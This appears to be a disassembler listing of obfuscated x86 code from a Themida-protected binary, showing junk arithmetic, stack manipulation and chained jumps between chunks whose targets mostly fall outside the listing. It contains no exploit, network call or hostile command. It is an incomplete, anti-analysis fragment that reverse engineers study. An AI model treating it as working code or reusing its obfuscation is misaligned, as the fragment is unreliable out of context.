loc_561150:				; CODE XREF: sub_562ABA-4853j
		add	esp, 2
		mov	ecx, [esp-6+arg_0+2]
		push	edx
		mov	edx, esp
		jmp	sub_561832
; END OF FUNCTION CHUNK	FOR sub_562ABA

; =============== S U B	R O U T	I N E =======================================



sub_561161	proc near		; CODE XREF: sub_562ABA+4EBDj

var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], ecx
		push	edi
		mov	edi, esp
		jmp	loc_566479
sub_561161	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_56116F:				; CODE XREF: sub_562ABA+A834j
		pop	esp
		test	cl, al
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_561178:				; CODE XREF: sub_562ABA+5D34j
		add	esp, 4
		push	4FB5h
		mov	[esp+0], eax
		push	ebx
		mov	bl, ch
		mov	al, bl
		pop	ebx
		push	ecx
		sub	esp, 4
		mov	[esp+6+var_8+2], ebx
		mov	bh, al
		mov	ch, bh
		jmp	loc_5718C0
; ---------------------------------------------------------------------------


loc_56119C:				; CODE XREF: sub_562ABA+CD5Dj
		mov	esp, [esp+6+var_8+2]
		movsx	cx, al
		push	small 92Ch
		jmp	loc_5671DA
; ---------------------------------------------------------------------------


loc_5611AC:				; CODE XREF: sub_562ABA-AC5j
		push	eax
		mov	eax, 46811A21h
		shl	eax, 4
		xor	eax, 6811A214h
		add	edi, eax
		pop	eax
		jmp	loc_56436B
; ---------------------------------------------------------------------------


loc_5611C2:				; CODE XREF: sub_562ABA+26D5j
		mov	ebp, [esp+8+var_8]
		add	esp, 4
		xor	esi, 91360Bh
		jmp	loc_56713B
; END OF FUNCTION CHUNK	FOR sub_562ABA

; =============== S U B	R O U T	I N E =======================================



sub_5611D3	proc near		; CODE XREF: sub_562ABA-3A7Dj
		push	ebp
		mov	ebp, 51700A54h
		push	edx
		push	1F5C2EDAh
		pop	edx
		or	edx, 4D9E6FC8h
		shl	edx, 6
		jmp	loc_5681DF
sub_5611D3	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_5611EE:				; CODE XREF: sub_562ABA+A78j
		sub	esi, 6CCB13DFh
		jmp	loc_560A0F
; END OF FUNCTION CHUNK	FOR sub_562ABA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55FCA5


loc_5611F9:				; CODE XREF: sub_55FCA5+30Ej
		mov	eax, 59D129A6h
		sub	eax, 7AE845F1h
		xor	eax, 0A161B85Dh
		and	ebx, eax
		mov	eax, [esp+4+var_4]
		add	esp, 4
		push	eax
		mov	eax, 63135E4Bh
		and	ebx, eax
		pop	eax
		jmp	loc_55E7AD
; END OF FUNCTION CHUNK	FOR sub_55FCA5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_56121E:				; CODE XREF: sub_562ABA+262Bj
		xor	edi, [esp+4+var_4]
		xor	[esp+4+var_4], edi
		xor	edi, [esp+4+var_4]
		jmp	loc_567CC9
; ---------------------------------------------------------------------------


loc_56122C:				; CODE XREF: sub_562ABA+1365j
		pop	ebx
		push	ax
		mov	ah, bh
		mov	bh, dl
		mov	dl, ah
		pop	ax
		jmp	loc_56865C
; END OF FUNCTION CHUNK	FOR sub_562ABA
; ---------------------------------------------------------------------------


loc_56123C:				; CODE XREF: Themida_:00571CD3j
		jmp	loc_55E09F
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		jmp	loc_570F83
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_561249:				; CODE XREF: sub_562ABA+A5EAj
		mov	eax, [esp+0]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+4+var_4]
		pop	esp
		sub	ebx, 4
		jmp	loc_572AAF
; ---------------------------------------------------------------------------


loc_56126A:				; CODE XREF: sub_562ABA+E301j
		or	ebx, edi
		pop	edi
		jmp	loc_572C3F
; ---------------------------------------------------------------------------


loc_561272:				; CODE XREF: sub_562ABA+4EB4j
		sub	ecx, edi
		pop	edi
		sub	edx, ecx
		push	[esp-8+arg_4]
		mov	ecx, [esp-4+arg_0]
		jmp	loc_56F33F
; ---------------------------------------------------------------------------


loc_561282:				; CODE XREF: sub_562ABA-1A43j
		push	edx
		mov	edx, 197A6F4Dh
		add	edx, 1B9457C2h
		shl	edx, 4
		shr	edx, 7
		not	edx
		neg	edx
		xor	edx, 2247EAE0h
		add	ecx, edx
		mov	edx, [esp+0]
		add	esp, 4
		dec	ecx
		add	ecx, 0F67BB51Bh
		sub	edi, ecx
		mov	ecx, [esp+0Ah+var_C+2]
		add	esp, 4
		add	ebx, edi
		push	[esp+6+var_8+2]
		pop	edi
		add	esp, 4
		add	ebx, 4
		jmp	loc_55F2F7
; ---------------------------------------------------------------------------


loc_5612CF:				; CODE XREF: sub_562ABA-333j
		xor	edi, 20A45A71h
		add	edx, 74033069h
		sub	edx, edi
		sub	edx, 74033069h
		pop	edi
		add	edx, ebp
		add	edx, 6BB56AFFh
		mov	ebp, [esp+0]
		push	2EFh
		mov	[esp+2+var_4+2], eax
		jmp	loc_5686DE
; ---------------------------------------------------------------------------


loc_5612FC:				; CODE XREF: sub_562ABA+6F0Dj
		mov	edx, eax
		pop	eax
		xor	edx, ecx
		pop	ecx
		add	ecx, edx
		mov	edx, [esp-6+arg_0+2]
		jmp	loc_563E5E
; ---------------------------------------------------------------------------


loc_56130C:				; CODE XREF: sub_562ABA+F244j
		sub	dh, 0E7h
		sub	bl, dh
		pop	edx
		push	ax
		push	edx
		mov	dl, 6Dh
		jmp	loc_56A4D6
; END OF FUNCTION CHUNK	FOR sub_562ABA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56112E


loc_56131C:				; CODE XREF: sub_56112E-93Ej
		push	[esp+arg_0]
		pop	edi
		pop	dword ptr [esp+0]
		mov	esp, [esp-4+arg_0]
		div	cl
		movzx	cx, ah
		push	ebp
		jmp	loc_56963D
; END OF FUNCTION CHUNK	FOR sub_56112E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_561333:				; CODE XREF: sub_562ABA+F1C5j
		pop	ebp
		push	esi
		mov	esi, 4
		jmp	loc_57194C
; ---------------------------------------------------------------------------


loc_56133F:				; CODE XREF: sub_562ABA+E166j
		add	esi, ebp
		push	ecx
		mov	ecx, 4CDC22FBh
		add	esi, ecx
		mov	ecx, [esp+0]
		add	esp, 4
		jmp	loc_563980
; END OF FUNCTION CHUNK	FOR sub_562ABA
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	3BACh
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		push	ebp
		mov	ebp, 4C600B10h
		sub	ebp, 0DEA1FDAh
		add	ebp, 15BD1022h
		add	ebp, 0ABCD04ACh
		add	edx, ebp
		pop	ebp
		push	edi
		jmp	loc_5644D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_56138C:				; CODE XREF: sub_562ABA+AB32j
		pop	esi
		add	ebx, edi
		add	ebx, 1FA0622Ch
		mov	edi, [esp-8+arg_4]
		push	7199h
		mov	[esp-4+arg_0], ebx
		mov	ebx, esp
		add	ebx, 4
		push	esi
		mov	esi, 4
		add	ebx, esi
		pop	esi
		xor	ebx, [esp-4+arg_0]
		jmp	loc_567C7A
; ---------------------------------------------------------------------------


loc_5613B9:				; CODE XREF: sub_562ABA+E9DBj
		mov	[esp-4+arg_0], edi
		pop	edx
		pop	edi
		jmp	loc_569CD9
; ---------------------------------------------------------------------------


loc_5613C3:				; CODE XREF: sub_562ABA+5235j
		mov	ebp, 6EA317A2h
		or	ebx, ebp
		pop	ebp
		jmp	loc_565872
; ---------------------------------------------------------------------------


loc_5613D0:				; CODE XREF: sub_562ABA+DB9j
		mov	eax, 2AF51CD3h
		jmp	loc_5726A0
; ---------------------------------------------------------------------------


loc_5613DA:				; CODE XREF: sub_562ABA+D394j
		add	esp, 4
		pop	[esp-14h+arg_10]
		jmp	loc_55E427
; ---------------------------------------------------------------------------


loc_5613E5:				; CODE XREF: sub_562ABA+38DEj
		mov	ebp, eax
		mov	ebx, ebp
		mov	ebp, [esp-18h+arg_14]
		push	4B2Ch
		mov	[esp-14h+arg_10], ecx
		push	esp
		pop	ecx
		push	ebx
		mov	ebx, 4
		sub	ecx, 6F945932h
		add	ecx, ebx
		push	edi
		mov	edi, 62D6452Bh
		sub	edi, 6E0E3BCEh
		push	ecx
		mov	ecx, 739961E3h
		shr	ecx, 7
		jmp	loc_5666D6
; ---------------------------------------------------------------------------


loc_56141E:				; CODE XREF: sub_562ABA+4Cj
		mov	edi, [esp-8+arg_4]
		add	esp, 4
		not	edi
		push	esi
		jmp	loc_563660
; ---------------------------------------------------------------------------


loc_56142F:				; CODE XREF: sub_562ABA+FBC7j
		push	eax
		mov	eax, esp
		push	5306h
		jmp	loc_55EA13
; ---------------------------------------------------------------------------


loc_56143C:				; CODE XREF: sub_562ABA-33E4j
		pop	esp
		push	[esp+2+var_4+2]
		pop	eax
		push	1FB5h
		mov	[esp+6+var_8+2], esi
		push	esp
		pop	esi
		push	3B35h
		mov	[esp+0Ah+var_C+2], ebx
		mov	ebx, 61D65362h
		sub	esp, 4
		jmp	loc_56DAE7
; ---------------------------------------------------------------------------


loc_561463:				; CODE XREF: sub_562ABA+25C1j
		xor	edi, 1A08316Ah
		pop	ecx
		add	edi, 0E3BB6781h
		xor	ecx, edi
		mov	edi, [esp+0Ah+var_C+2]
		add	esp, 4
		jmp	loc_56AA76
; ---------------------------------------------------------------------------


loc_561480:				; CODE XREF: sub_562ABA+442Dj
		add	esp, 4
		mov	esi, [esp+2+var_4+2]
		add	esp, 4
		add	ebx, eax
		sub	ebx, 532402E3h
		xor	edx, eax
		jmp	loc_55E09F
; END OF FUNCTION CHUNK	FOR sub_562ABA
; ---------------------------------------------------------------------------


loc_561498:				; CODE XREF: Themida_:005622D8j
		pop	small word ptr [esp]
		jmp	loc_56B32F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_5614A1:				; CODE XREF: sub_562ABA+E342j
		mov	dl, 0B7h
		sub	dl, ch
		mov	ecx, [esp+0]
		jmp	loc_5709C2
; ---------------------------------------------------------------------------


loc_5614AD:				; CODE XREF: sub_562ABA+B42Aj
		add	esi, edx
		pop	edx
		push	712Fh
		mov	[esp+0], ecx
		mov	ecx, 4
		sub	esi, 74A36632h
		add	esi, 2D29169Dh
		add	esi, ecx
		jmp	loc_571CEB
; ---------------------------------------------------------------------------


loc_5614D0:				; CODE XREF: sub_562ABA+D90j
		neg	edi
		xor	edi, 0F08788D6h
		jmp	loc_5703AD
; ---------------------------------------------------------------------------


loc_5614DD:				; CODE XREF: sub_562ABA+CE3j
		add	esp, 4
		jmp	loc_5648EC
; ---------------------------------------------------------------------------


loc_5614E8:				; CODE XREF: sub_562ABA+8817j
		mov	edi, 53D978C5h
		or	edi, 3A011889h
		sub	edi, 3D866F39h
		sub	ebx, edi
		pop	edi
		jmp	loc_56738B
; ---------------------------------------------------------------------------


loc_561501:				; CODE XREF: sub_562ABA+7A75j
		push	edx
		not	[esp-6+arg_0+2]
		mov	edx, [esp-6+arg_0+2]
		add	esp, 4
		shl	edx, 4
		not	edx
		dec	edx
		xor	edx, 0AB2A136h
		shr	edx, 2
		shr	edx, 5
		jmp	loc_569016
; ---------------------------------------------------------------------------


loc_561525:				; CODE XREF: sub_562ABA+CD93j
		mov	edx, [esp-0Ah+arg_4+2]
		add	esp, 4
		add	edi, 2
		sub	esp, 4
		mov	[esp-0Ah+arg_4+2], edi
		push	[esp-0Ah+arg_8+2]
		push	[esp-6+arg_0+2]
		pop	edi
		add	esp, 4
		pop	[esp-0Ah+arg_4+2]
		jmp	loc_565711
; ---------------------------------------------------------------------------


loc_561550:				; CODE XREF: sub_562ABA+41CFj
		pop	[esp-0Eh+arg_8+2]
		jmp	loc_566F58
; ---------------------------------------------------------------------------


loc_561558:				; CODE XREF: sub_562ABA+4030j
		sub	ebp, 2D5330ABh
		shr	ebp, 7
		inc	ebp
		xor	ebp, 443C1902h
		dec	ebp
		not	ebp
		add	ebp, 8471844Bh
		sub	esi, ebp
		pop	ebp
		add	eax, esi
		jmp	loc_569992
; ---------------------------------------------------------------------------


loc_56157B:				; CODE XREF: sub_562ABA+2446j
		or	ebp, 1ED833E2h
		add	ebp, 0E49EFFD3h
		jmp	loc_569C0A
; ---------------------------------------------------------------------------


loc_56158C:				; CODE XREF: sub_562ABA+3E0Dj
		pop	ecx
		jmp	loc_56038C
; ---------------------------------------------------------------------------


loc_561592:				; CODE XREF: sub_562ABA+368j
		mov	[esp-1Ah+arg_14+2], edi
		push	731A0D34h
		pop	edi
		push	36B9h
		mov	[esp-16h+arg_10+2], edx
		mov	edx, 731A0D35h
		xor	edi, edx
		pop	edx
		push	ebx
		mov	ebx, edi
		mov	esi, ebx
		pop	ebx
		push	[esp-1Ah+arg_14+2]
		mov	edi, [esp-16h+arg_10+2]
		push	ebx
		mov	ebx, esp
		push	ecx
		mov	ecx, 6A682342h
		not	ecx
		or	ecx, 479667A1h
		inc	ecx
		shl	ecx, 5
		add	ecx, 0D000844h
		add	ebx, ecx
		pop	ecx
		add	ebx, 4
		jmp	loc_56BCDA
; ---------------------------------------------------------------------------


loc_5615E0:				; CODE XREF: sub_562ABA+882Bj
		push	427Fh
		jmp	loc_56BADA
; ---------------------------------------------------------------------------


loc_5615EA:				; CODE XREF: sub_562ABA+D16Dj
		xchg	ecx, [esp-0Eh+arg_8+2]
		pop	esp
		add	esp, 4
		cmp	ecx, eax
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_5615FC:				; CODE XREF: sub_562ABA+72CBj
		pop	ebx
		xor	ebp, 73927F09h
		push	ebx
		mov	ebx, 726A3346h
		shr	ebx, 4
		shl	ebx, 7
		add	ebx, 0B4C27588h
		add	ebp, ebx
		mov	ebx, [esp-12h+arg_C+2]
		add	esp, 4
		add	edi, ebp
		pop	ebp
		add	edi, ebp
		push	ecx
		mov	ecx, 77EF6C82h
		push	ebx
		mov	ebx, 1CF31BD0h
		jmp	loc_55FF77
; ---------------------------------------------------------------------------


loc_561636:				; CODE XREF: sub_562ABA+17D5j
		mov	ebx, edx
		pop	edx
		dec	ebx
		shr	ebx, 1
		jmp	loc_56D35C
; ---------------------------------------------------------------------------


loc_561641:				; CODE XREF: sub_562ABA+9B16j
		push	edx
		mov	edx, 0E581D067h
		add	ebp, edx
		jmp	loc_569E95
; ---------------------------------------------------------------------------


loc_56164E:				; CODE XREF: sub_562ABA+9A16j
		pop	ebp
		jmp	loc_572849
; ---------------------------------------------------------------------------


loc_561654:				; CODE XREF: sub_562ABA-3C08j
		push	edx
		mov	edx, 462B7567h
		jmp	loc_5658BE
; ---------------------------------------------------------------------------


loc_56165F:				; CODE XREF: sub_562ABA+DAB5j
		add	esp, 4
		sub	esp, 4
		mov	[esp+32h+var_32], edx
		jmp	loc_563C9C
; ---------------------------------------------------------------------------


loc_561670:				; CODE XREF: sub_562ABA+3AB7j
		pop	eax
		add	ecx, 4
		xchg	ecx, [esp+0]
		jmp	loc_56F00B
; ---------------------------------------------------------------------------


loc_56167F:				; CODE XREF: sub_562ABA+EF22j
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_561684:				; CODE XREF: sub_562ABA+AFCDj
		push	edx
		mov	edx, 4
		add	eax, edx
		pop	edx
		add	eax, 4
		xchg	eax, [esp+0]
		pop	esp
		xchg	ecx, [esp+2Ah+var_2C+2]
		jmp	loc_560B48
; ---------------------------------------------------------------------------


loc_56169E:				; CODE XREF: sub_562ABA+500Aj
		push	[esp+2Ah+var_28+2]
		pop	eax
		jmp	loc_56FFE5
; ---------------------------------------------------------------------------


loc_5616A8:				; CODE XREF: sub_562ABA+666Fj
		sub	ebx, 0FE8EE1D2h
		mov	esi, ebx
		jmp	loc_56DFFC
; ---------------------------------------------------------------------------


loc_5616B5:				; CODE XREF: sub_562ABA-7C6j
		push	edi
		add	dword ptr [esp+0], 4A651424h
		pop	edx
		sub	edx, 4A651424h
		pop	edi
		jmp	sub_560EC1
; ---------------------------------------------------------------------------


loc_5616CA:				; CODE XREF: sub_562ABA+E0BCj
		xor	[esp+26h+var_28+2], eax
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_5616D3:				; CODE XREF: sub_562ABA+5AA2j
		add	ecx, ebx
		add	ecx, 691E7FE4h
		jmp	loc_5628D5
; ---------------------------------------------------------------------------


loc_5616E0:				; CODE XREF: sub_562ABA+2643j
		pop	edi
		sub	edi, 71032AB5h
		shr	edi, 4
		xor	edi, 0CFF3FDh
		mov	ebx, edi
		jmp	loc_56A65E
; ---------------------------------------------------------------------------


loc_5616F7:				; CODE XREF: sub_562ABA+A463j
		sub	dh, 25h
		and	dh, 62h
		shl	dh, 3
		xor	dh, 8Eh
		sub	al, dh
		pop	edx
		push	0FE0h
		jmp	loc_565052
; ---------------------------------------------------------------------------


loc_561710:				; CODE XREF: sub_562ABA+7152j
		push	[esp+26h+var_28+2]
		jmp	loc_56A611
; ---------------------------------------------------------------------------


loc_561718:				; CODE XREF: sub_562ABA+9A9j
		mov	[esp+2Ah+var_2C+2], esp
		add	[esp+2Ah+var_2C+2], 4
		push	[esp+2Ah+var_2C+2]
		pop	edx
		push	edx
		jmp	loc_56709C
; ---------------------------------------------------------------------------


loc_561729:				; CODE XREF: sub_562ABA+450Ej
		mov	eax, esp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+32h+var_32]
		mov	esp, [esp+32h+var_32]
		mov	[esp+32h+var_32], ebp
		push	edx
		mov	edx, 0D1D38B6h
		shl	edx, 8
		sub	edx, 42E67EBBh
		add	edx, 25ADC8BFh
		mov	ebp, edx
		pop	edx
		add	eax, ebp
		jmp	loc_572072
; ---------------------------------------------------------------------------


loc_561762:				; CODE XREF: sub_562ABA+4116j
		sub	ebx, 4AE448E2h
		sub	ebx, edi
		add	ebx, 4AE448E2h
		push	[esp+32h+var_32]
		pop	edi
		add	esp, 4
		add	ebx, eax
		jmp	loc_566CC1
; ---------------------------------------------------------------------------


loc_56177E:				; CODE XREF: sub_562ABA+31E0j
		mov	[esp+0], esi
		mov	esi, 5004397Eh
		inc	esi
		jmp	loc_56D6D8
; ---------------------------------------------------------------------------


loc_56178C:				; CODE XREF: sub_562ABA+A2A3j
		pop	esi
		shl	edi, 8
		xor	edi, 372B6811h
		jmp	loc_567081
; ---------------------------------------------------------------------------


loc_56179B:				; CODE XREF: sub_562ABA+27B6j
		pop	esp
		push	3E52h
		mov	[esp+2Ah+var_2C+2], ebx
		push	edx
		push	eax
		push	ecx
		push	eax
		mov	al, 0DFh
		sub	al, 61h
		push	edx
		mov	dh, al
		mov	ch, dh
		pop	edx
		mov	eax, [esp+3Ah+var_3A]
		add	esp, 4
		mov	ah, ch
		pop	ecx
		jmp	loc_56E678
; ---------------------------------------------------------------------------


loc_5617C0:				; CODE XREF: sub_562ABA-546j
		add	eax, 31F17FD0h
		sub	eax, 7BD14FB4h
		dec	eax
		add	eax, 8CC2C302h
		sub	esi, 2FF02F6Ah
		add	esi, eax
		add	esi, 2FF02F6Ah
		pop	eax
		add	esi, ebx
		jmp	loc_56028C
; END OF FUNCTION CHUNK	FOR sub_562ABA

; =============== S U B	R O U T	I N E =======================================



sub_5617E6	proc near		; CODE XREF: sub_562ABA+E553j
		push	ebp
		push	3535215Ah
		pop	ebp
		jmp	loc_5700CA
sub_5617E6	endp

; ---------------------------------------------------------------------------
		push	50A8h
		push	1FDh
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		push	edi
		push	edx
		mov	edx, 3A4B4F2Ah
		push	eax
		jmp	loc_56B072
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_566CE6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_56181C:				; CODE XREF: sub_562ABA+120Dj
		pop	esi
		jmp	loc_5660AE
; ---------------------------------------------------------------------------


loc_561822:				; CODE XREF: sub_562ABA+7B8Bj
		mov	edi, 2
		push	ebx
		mov	ebx, 77B12C79h
		jmp	loc_56DA76
; END OF FUNCTION CHUNK	FOR sub_562ABA

; =============== S U B	R O U T	I N E =======================================



sub_561832	proc near		; CODE XREF: sub_562ABA-195Ej

var_4		= dword	ptr -4

		push	ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		xchg	edx, [esp+0]
		pop	esp
		push	1CEAh
		mov	[esp+0], ebx
		push	eax
		mov	al, 0AFh
		mov	bl, al
		mov	eax, [esp+4+var_4]
		add	esp, 4
		add	al, 9Ah
		push	0AD5h
		jmp	loc_56829D
sub_561832	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_56186A:				; CODE XREF: sub_562ABA+8ECBj
		add	edx, 1BB8068Ch
		push	edi
		mov	edi, 40A3482Fh
		inc	edi
		and	edi, 116123A5h
		add	edi, 1
		push	ebx
		mov	ebx, 5D495C5Dh
		xor	edi, ebx
		pop	ebx
		add	edx, edi
		pop	edi
		sub	esp, 4
		jmp	loc_566DCD
; ---------------------------------------------------------------------------


loc_561897:				; CODE XREF: sub_562ABA+F123j
		push	7AF1h
		mov	[esp+36h+var_36], edi
		push	[esp+36h+var_32]
		pop	edi
		jmp	loc_566668
; ---------------------------------------------------------------------------


loc_5618A9:				; CODE XREF: sub_562ABA+8695j
		mov	eax, 78B56842h
		and	eax, 656C41E9h
		add	eax, 42446451h
		neg	eax
		xor	eax, 18AB1D0Fh
		sub	eax, 0FE44F121h
		and	ebp, eax
		pop	eax
		shr	ebp, 8
		jmp	loc_568712
; ---------------------------------------------------------------------------


loc_5618CF:				; CODE XREF: sub_562ABA+D7DFj
		add	esp, 4
		add	ebx, 70534BBFh
		add	ebx, ecx
		sub	ebx, 70534BBFh
		mov	[ebx], al
		push	dword ptr [esp+0]
		jmp	loc_5627B3
; ---------------------------------------------------------------------------


loc_5618EA:				; CODE XREF: sub_562ABA+3D3Dj
		mov	[esp+32h+var_32], eax
		mov	eax, 3DA73237h
		jmp	loc_561C34
; ---------------------------------------------------------------------------


loc_5618F7:				; CODE XREF: sub_562ABA+833Ej
		push	eax
		mov	al, 0CAh
		push	ecx
		push	edx
		mov	dh, 86h
		or	dh, 0C9h
		add	dh, 0CFh
		jmp	loc_56BAB9
; ---------------------------------------------------------------------------


loc_561909:				; CODE XREF: sub_562ABA-2680j
		add	esi, edi
		pop	edi
		push	esi
		jmp	loc_563930
; ---------------------------------------------------------------------------


loc_561912:				; CODE XREF: sub_562ABA+1C0j
		pop	esp
		push	2A98h
		mov	[esp+4+var_4], edx
		push	ecx
		jmp	loc_56ED76
; END OF FUNCTION CHUNK	FOR sub_562ABA
; ---------------------------------------------------------------------------


loc_561921:				; DATA XREF: Themida_:0055E004o
		pop	dword ptr [edx]
		jmp	loc_55E09F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_561928:				; CODE XREF: sub_562ABA+AB22j
		sub	eax, edx
		add	eax, 32BA2B7Ah
		mov	edx, [esp+8+var_8]
		add	esp, 4
		push	edx
		push	esi
		mov	esi, 75D07CD7h
		mov	edx, esi
		pop	esi
		dec	edx
		xchg	esi, edx
		dec	esi
		jmp	loc_565AE7
; ---------------------------------------------------------------------------


loc_56194B:				; CODE XREF: sub_562ABA+AD83j
		mov	ecx, esp
		jmp	loc_561B1F
; ---------------------------------------------------------------------------


loc_561952:				; CODE XREF: sub_562ABA+2068j
		sub	edx, 4
		xchg	edx, [esp+8+var_8]
		jmp	loc_56236B
; ---------------------------------------------------------------------------


loc_56195D:				; CODE XREF: sub_562ABA+5BEBj
		push	5F45h
		mov	[esp+0Ch+var_C], edx
		mov	edx, 7FF819CEh
		jmp	loc_55EEAB
; ---------------------------------------------------------------------------


loc_56196F:				; CODE XREF: sub_562ABA+FE71j
		pop	ebx
		add	eax, 672918F5h
		add	eax, ebp
		sub	eax, 672918F5h
		push	ebx
		mov	ebx, 76CB1A93h
		not	ebx
		neg	ebx
		add	ebx, 0BFBD0BE1h
		add	eax, ebx
		pop	ebx
		jmp	loc_565126
; ---------------------------------------------------------------------------


loc_561994:				; CODE XREF: sub_562ABA-3016j
		xor	eax, edx
		pop	edx
		shr	eax, 1
		add	eax, 2E8715E5h
		sub	eax, 61C1CBB7h
		sub	edi, 33911E75h
		sub	edi, eax
		add	edi, 33911E75h
		pop	eax
		sub	esp, 4
		mov	[esp+1Ah+var_1A], ebp
		jmp	loc_56269F
; ---------------------------------------------------------------------------


loc_5619BD:				; CODE XREF: sub_562ABA-278Fj
		add	ecx, 257C7695h
		pop	ebx
		jmp	loc_562F9B
; ---------------------------------------------------------------------------


loc_5619C9:				; CODE XREF: sub_562ABA+EF0Ej
		sub	ebx, 27E00D3Dh
		pop	esi
		add	ebx, 18E90473h
		sub	ebx, 78433A2Bh
		sub	ebx, eax
		add	ebx, 78433A2Bh
		sub	ebx, 18E90473h
		push	ecx
		mov	ecx, 281C26C0h
		shl	ecx, 2
		jmp	loc_5645FF
; ---------------------------------------------------------------------------


loc_5619F8:				; CODE XREF: sub_562ABA+FAB8j
		mov	[esp+6+var_8+2], ebx
		jmp	loc_5609B5
; ---------------------------------------------------------------------------


loc_561A00:				; CODE XREF: sub_562ABA+93E3j
		push	[esp+6+var_8+2]
		mov	edi, [esp+0Ah+var_C+2]
		add	esp, 4
		push	edi
		push	esp
		jmp	loc_56E366
; ---------------------------------------------------------------------------


loc_561A13:				; CODE XREF: sub_562ABA-1E0Fj
		xor	eax, [esp-6+arg_0+2]
		xor	[esp-6+arg_0+2], eax
		xor	eax, [esp-6+arg_0+2]
		pop	esp
		or	eax, eax
		jz	loc_563BFF
		push	dword ptr [edi+1Ch]
		jmp	loc_565409
; ---------------------------------------------------------------------------


loc_561A2D:				; CODE XREF: sub_562ABA+B3F9j
		pop	edi
		xchg	edx, [esp-0Ah+arg_4+2]
		pop	esp
		mov	[esp-0Eh+arg_8+2], ebx
		jmp	loc_56CFB0
; ---------------------------------------------------------------------------


loc_561A3A:				; CODE XREF: sub_562ABA+B530j
		jmp	loc_562228
; ---------------------------------------------------------------------------


loc_561A3F:				; CODE XREF: sub_562ABA-381Dj
		xor	ebx, [esp+40h+var_42+2]
		jmp	loc_564ACA
; ---------------------------------------------------------------------------


loc_561A47:				; CODE XREF: sub_562ABA+DEA4j
		xor	esi, 6BBD24F9h
		sub	eax, 716B725Bh
		sub	eax, esi
		add	eax, 716B725Bh
		pop	esi
		xor	edi, eax
		pop	eax
		push	edx
		jmp	loc_565E9B
; ---------------------------------------------------------------------------


loc_561A63:				; CODE XREF: sub_562ABA-41D3j
		sub	esi, 0FFFFFFFFh
		dec	esi
		sub	esi, 0CF2373Ch
		xor	esi, 58665ABCh
		sub	ebx, esi
		jmp	loc_571F40
; ---------------------------------------------------------------------------


loc_561A7A:				; CODE XREF: sub_562ABA+274Cj
		xor	ecx, edi
		push	[esp+8+var_8]
		pop	edi
		jmp	loc_5675F4
; ---------------------------------------------------------------------------


loc_561A85:				; CODE XREF: sub_562ABA-4861j
		sub	edi, eax
		jmp	loc_560FFE
; ---------------------------------------------------------------------------


loc_561A8C:				; CODE XREF: sub_562ABA+E978j
		push	0ACh
		mov	[esp+6+var_8+2], ecx
		jmp	loc_56559D
; ---------------------------------------------------------------------------


loc_561A99:				; CODE XREF: sub_562ABA-3C5Dj
		mov	edi, esp
		push	eax
		mov	eax, 77414574h
		jmp	loc_563002
; ---------------------------------------------------------------------------


loc_561AA6:				; CODE XREF: sub_562ABA+9BD0j
		neg	eax
		push	5B97h
		mov	[esp+2Ah+var_2C+2], ecx
		push	eax
		mov	eax, 775E79DAh
		jmp	loc_571A66
; ---------------------------------------------------------------------------


loc_561ABB:				; CODE XREF: sub_562ABA+7E89j
		add	ecx, 0BB98775Bh
		add	ebp, ecx
		pop	ecx
		add	eax, ebp
		mov	ebp, [esp+2Ah+var_2C+2]
		add	esp, 4
		jmp	loc_563AD7
; ---------------------------------------------------------------------------


loc_561AD1:				; CODE XREF: sub_562ABA+5CE8j
		pop	ebp
		shr	ebp, 6
		shl	ebp, 4
		inc	ebp
		push	edi
		mov	edi, 0C987B7A1h
		xor	ebp, edi
		pop	edi
		mov	eax, ebp
		pop	ebp
		add	eax, edx
		pop	edx
		sub	[esp+1Ah+var_16], 79BE3EF7h
		add	[esp+1Ah+var_16], eax
		add	[esp+1Ah+var_16], 79BE3EF7h
		mov	eax, [esp+1Ah+var_1A]
		add	esp, 4
		mov	eax, [esp+16h+var_16]
		add	esp, 4
		jmp	loc_562438
; ---------------------------------------------------------------------------


loc_561B13:				; CODE XREF: sub_562ABA+121j
		add	eax, 10341F3Dh
		pop	ecx
		push	ecx
		jmp	loc_56E7FE
; ---------------------------------------------------------------------------


loc_561B1F:				; CODE XREF: sub_562ABA-116Dj
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		jmp	loc_570CDA
; ---------------------------------------------------------------------------


loc_561B36:				; CODE XREF: sub_562ABA+6EBj
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	7E0Eh
		mov	[esp+8+var_8], ebx
		sub	esp, 4
		mov	[esp+0Ch+var_C], edx
		push	edi
		mov	edi, 6A294A93h
		inc	edi
		jmp	loc_56A194
